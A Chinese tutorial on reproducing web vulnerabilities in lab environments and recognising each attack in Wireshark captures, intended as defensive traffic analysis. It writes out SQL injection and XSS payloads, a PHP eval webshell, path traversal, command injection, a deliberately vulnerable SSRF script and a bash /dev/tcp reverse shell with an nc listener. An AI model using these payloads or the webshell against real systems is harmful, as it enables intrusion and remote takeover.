漏洞复现与流量分析
文章目录
sql注入
以DVWA靶场为例
开启Wireshark抓包
这里限制一下显示的内容为抓取和IP地址为10.4.7.151的http包
ip.dst == 10.4.7.151 && http
这个地址是靶场服务器的地址
尝试进行sql注入
1' and 1=2 union select 1,version() #
通过联合查询来查找数据库的版本信息
1' and 1=2 union select 1,database() #
查看数据库名
爆出来数据库的版本信息,去Wireshark查看数据包
点击数据包查看信息,可以看到刚刚输入的信息.
id=1%27+and+1%3D2+union+select+1%2Cversion%28%29+%23
分析
sql注入类型的数据包可以通过查看http请求包中是否有关键字来判断比如:
union,version,database,updatexml,extractvalue
,其中特殊字符如'
、()
等都会被url编码,空格变成+
xss
还是DVWA靶场,开启Wireshark抓包,限制显示的数据包
<script>alert('maple')</script>
页面弹窗
去查看数据包
能找到刚刚输入的信息,但是被url编码了
%3Cscript%3Ealert%28%27maple%27%29%3C%2Fscript%3E
分析
和sql注入大体一样,查看关键字是否有
<script></script>,alert()
等,特殊字符都会被url编码
文件上传
先写一个一句话木马
<?php
@eval($_REQUEST[maple]);
phpinfo();
?>
上传文件后爆出一个地址,我们可以去查看一下数据包
分析
我们可以通过数据包查看上传文件的后缀来判断文件类型,还可以通过文件内容来判断是否为恶意文件
文件包含
操作思路大体相同,这里有三个选项,随便点开一个
很简单粗暴的文件路径,我们使用
../
来返回上级目录,查看目标主机的phpinfo文件
查看数据包
分析
通常来讲文件包含只允许访问规定的文件,能访问到别的文件就说明存在漏洞,我们可以通过流量包访问的文件是否为规定文件来判断
文件读取
这里是从kali拉取镜像获取的,详情请看任意文件读取
分析
文件读取和文件包含的流量包大体相同,都是通过访问文件路径,方法通用,区别在于文件读取不能执行文件
ssrf
ssrf靶场源码
<?php
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
进入靶场后发现是这样的,我们按照提示输入127.0.0.1
发现居然跳到了目录
两个目录经过对比有点差异,查看一下抓到的包
分析
这个流量包说访问的地址为127.0.0.1,但是是以目标机的身份访问的,可以理解为本机伪装成目标机对服务器发起请求,查看目标机的本地地址,可以通过协议、请求的资源地址来判断是否为攻击
shiro反序列化
搭建环境
//1.开启docker服务
systemctl status docker
//2.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
//3.启动靶场
sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
//因为是使用的kali用户,所以需要使用sudo
复现
进入登录页面
随便输入一个账号密码,bp抓包
响应包中出现Set-Cookie:
rememberMe=deleteMe;
就可以肯定存在shiro反序列化漏洞,接下来上工具
1.目标为登录界面的url地址
2.爆破密钥
3.爆破利用链及回显
使用命令执行模块,随便输入命令,抓取数据包查看
筛选地址为kali的IP地址
·ip.dst == 10.4.7.143·
查看http包
分析
shiro反序列化漏洞的数据包中回显包会有
rememberMe=deleteMe
,也可以通过判断http请求的流量包中的cookie值,正常的cookie值不会这么长
JWT
以第七关为例,具体步骤看越权漏洞与JWT的利用
查看抓取的流量包
将这个值解码
分析
JWT是由三部分组成,头部、载荷、签名,其中头部被改为了
none
,签名被删除了,由此可以判断为一次攻击
暴力破解
使用DVWA靶场的暴力破解模块,随便输入一个账户密码,然后使用bp抓包爆破、Wireshark抓包
分析
暴力破解可以看到有好多http的请求包,一个用户大量的登录请求信息,很容易就可以判断出是一次密码爆破
命令执行
输入
| whoami
抓包
查看抓到的包
分析
命令执行的流量包中可以看到输入的内容,通过输入的内容就可以判断是否为一次攻击
反弹shell
准备一台kali一台centos
kali开启ncnc -lvvp7495
centos连接bash -c 'bash -i >& /dev/tcp/10.9.47.152/7495 0>&1'
连接成功后输入一些命令,查看Wireshark抓到的包
分析
抓到的包大多为TCP协议传输,可以直接看到输入的命令,其中包含命令的流量包为
[PSH,ACK]
可以通过这种方式查看是否被攻击